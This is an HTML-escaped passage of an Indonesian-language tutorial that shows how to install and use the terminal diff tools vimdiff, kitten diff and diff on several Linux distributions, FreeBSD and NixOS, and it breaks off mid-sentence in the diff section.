&lt;section&gt;&lt;h2&gt;The Tools&lt;a href=&quot;#the-tools&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah &lt;em&gt;tools&lt;/em&gt; yang pernah saya gunakan untuk membandingkan file-file. Sebagai &lt;em&gt;disclaimer&lt;/em&gt;, tools di bawah ini semuanya adalah terminal-based &lt;em&gt;tools&lt;/em&gt;, jadi tidak ada GUI-nya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. &lt;code&gt;vimdiff&lt;/code&gt;&lt;a href=&quot;#1-vimdiff&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;vimdiff&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; yang terintegrasi langsung dengan &lt;code&gt;vim&lt;/code&gt; (teks editor).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;vimdiff&quot; loading=&quot;lazy&quot; width=&quot;1897&quot; height=&quot;1035&quot; src=&quot;/_astro/ss1.BFwn69m9_fO23m.webp&quot; /&gt;&lt;figcaption&gt;vimdiff&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;vim&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;debian/ubuntuarchlinuxfedoraopensusefreebsd&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vim&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;vimdiff&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; &lt;code&gt;vimdiff&lt;/code&gt; dapat membandingkan 2 hingga 4 file sekaligus.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. &lt;code&gt;kitten diff&lt;/code&gt;&lt;a href=&quot;#2-kitten-diff&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;kitten diff&lt;/code&gt; adalah &lt;em&gt;tool&lt;/em&gt; yang terintegrasi langsung dengan &lt;code&gt;kitty&lt;/code&gt; (terminal).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;kitten diff&quot; loading=&quot;lazy&quot; width=&quot;1897&quot; height=&quot;1035&quot; src=&quot;/_astro/ss2.CUW8L1cm_Z1hm977.webp&quot; /&gt;&lt;figcaption&gt;kitten diff&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;kitty&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;debian/ubuntuarchlinuxfedoraopensusefreebsd&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kitty&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Usage&lt;a href=&quot;#usage-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kitten&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diff&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; &lt;code&gt;kitten diff&lt;/code&gt; hanya dapat membandingkan maksimal 2 file.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. &lt;code&gt;diff&lt;/code&gt;&lt;a href=&quot;#3-diff&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;diff&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;562&quot; src=&quot;/_astro/ss3.BLnNJlKn_Z24JymO.webp&quot; /&gt;&lt;figcaption&gt;diff&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sebelum dapat menggunakan &lt;code&gt;diff&lt;/code&gt;, kita perlu meng-&lt;em&gt;install&lt;/em&gt; paket &lt;code&gt;diffutils&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;diffutils&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;debian/ubuntuarchlinuxfedoraopensusefreebsd&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;zypper&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;nix&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;diffutils&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Usage&lt;a href=&quot;#usage-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;diff&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;file2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; &lt;code&gt;diff&lt;/code&gt; hanya dapat membandingkan maksimal 2 